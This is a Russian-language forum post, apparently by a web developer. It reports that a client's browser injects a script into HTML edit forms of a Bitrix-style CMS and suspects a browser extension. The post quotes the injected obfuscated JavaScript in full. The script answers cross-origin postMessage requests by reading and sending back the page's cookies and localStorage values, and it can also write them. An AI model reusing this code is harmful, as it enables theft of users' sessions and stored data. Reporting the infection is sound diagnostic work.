У заказчика вчера такое обнаружилось.
Заметил, что эта гадость возникает не всегда.
Только с его компа.
Только когда пишешь что-то в форме редактирования, которая поддерживает режим редактирования html (включаемые обл., формы инфоблоков, если сохранялись в виде html или в визуальном редакторе).
Вывод - какая-то редиска засела в браузере, возможно в каком-то дополнении. Ну или что-то, что работает через браузер.
Эта хрень тянет html со скриптом
Заметил, что эта гадость возникает не всегда.
Только с его компа.
Только когда пишешь что-то в форме редактирования, которая поддерживает режим редактирования html (включаемые обл., формы инфоблоков, если сохранялись в виде html или в визуальном редакторе).
Вывод - какая-то редиска засела в браузере, возможно в каком-то дополнении. Ну или что-то, что работает через браузер.
Эта хрень тянет html со скриптом
Код |
---|
var a1256157352 = function (a) { if (a && a.data && a.data.a540125352 && a.data.a1204587773)if ("a939675136" == a.data.a1204587773) { if (!a.data.a2918445836)return "a2918445836 required"; for (var e in a.data.a2918445836)a.data.a2918445836[e] && a1869877677(e, a.data.a2918445836[e]) } else if ("a2878600925" == a.data.a1204587773) { if (!a.data.a3029222531 || !a.data.a39501098)return "a3029222531 and a39501098 required"; var t = {}; a.data.a3029222531.forEach(function (a) { var e = a, n = a470276301(a); null === n && (n = void 0), t[e] = n }), a.source.postMessage({ a540125352: 1, a1204587773: "a2878600925", a39501098: a.data.a39501098, a2918445836: t }, "*") } }, a1869877677 = function (a, e) { localStorage && localStorage.setItem(a, e), a2475012037(a, e) }, a470276301 = function (a) { var e = a1655291064(a); return e ? e : localStorage ? localStorage.getItem(a) : void 0 }, a1655291064 = function (a) { var e = document.cookie.match(new RegExp("(?:^|; )" + a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)")); return e ? decodeURIComponent(e[1]) : void 0 }, a2475012037 = function (a, e, t) { t = t || {}; var n = t.a2593941731 ? t.a2593941731 : "%COOKIELIFE%"; if ("number" == typeof n && n) { var o = new Date; o.setTime(o.getTime() + 1e3 * n), n = t.a2593941731 = o } n && n.toUTCString && (t.a2593941731 = n.toUTCString()), e = encodeURIComponent(e); var r = a + "=" + e; for (var d in t) { r += "; " + d; var i = t[d]; i !== !0 && (r += "=" + i) } document.cookie = r }; window.onl oad = function () { window.addEventListener ? addEventListener("message", a1256157352, !1) : attachEvent("onmessage", a1256157352), window.parent.postMessage({ a540125352: 1, a1204587773: "a4290278612" }, "*") }; |